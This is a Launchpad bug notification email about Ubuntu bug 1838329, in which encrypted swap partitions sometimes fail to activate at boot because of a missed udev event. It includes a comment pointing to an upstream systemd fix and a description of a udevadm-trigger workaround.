[Touch-packages] [Bug 1838329] Re: Cryptswap periodically fails to mount at boot due to missing a udev notification

[Dan Streetman]

This was (possibly) fixed upstream in a similar way to comment 7:
https://github.com/systemd/systemd/pull/15836

essentially instead of calling mkswap inside flock, it calls systemd-
makefs swap, which itself flocks the block device.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1838329

Title:
  Cryptswap periodically fails to mount at boot due to missing a udev
  notification

Status in systemd:
  New
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  In Progress

Bug description:
  On some systems, cryptsetup-based encrypted swap partitions cause
  systemd to get stuck at boot. This is a timing-sensitive Heisenbug, so
  the rate of occurrence varies from one system to another. Some
  hardware will not experience the issue at all, others will only
  occasionally experience the issue, and then there are the unlucky who
  are unable to boot at all, no matter how many times they restart.

  The workaround is for the cryptsetup-generator to generate cryptswap
  service entries that call `udevadm trigger` after `mkswap`. This will
  ensure that the udev event is triggered, so that systemd is notified
  that the encrypt swap partition is ready to activate. This patch has
  already been submitted upstream to systemd, but it was not accepted
  because it is a workaround for the side effect of systemd not seeing
  the udev event upon creating the swap partition.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1838329/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp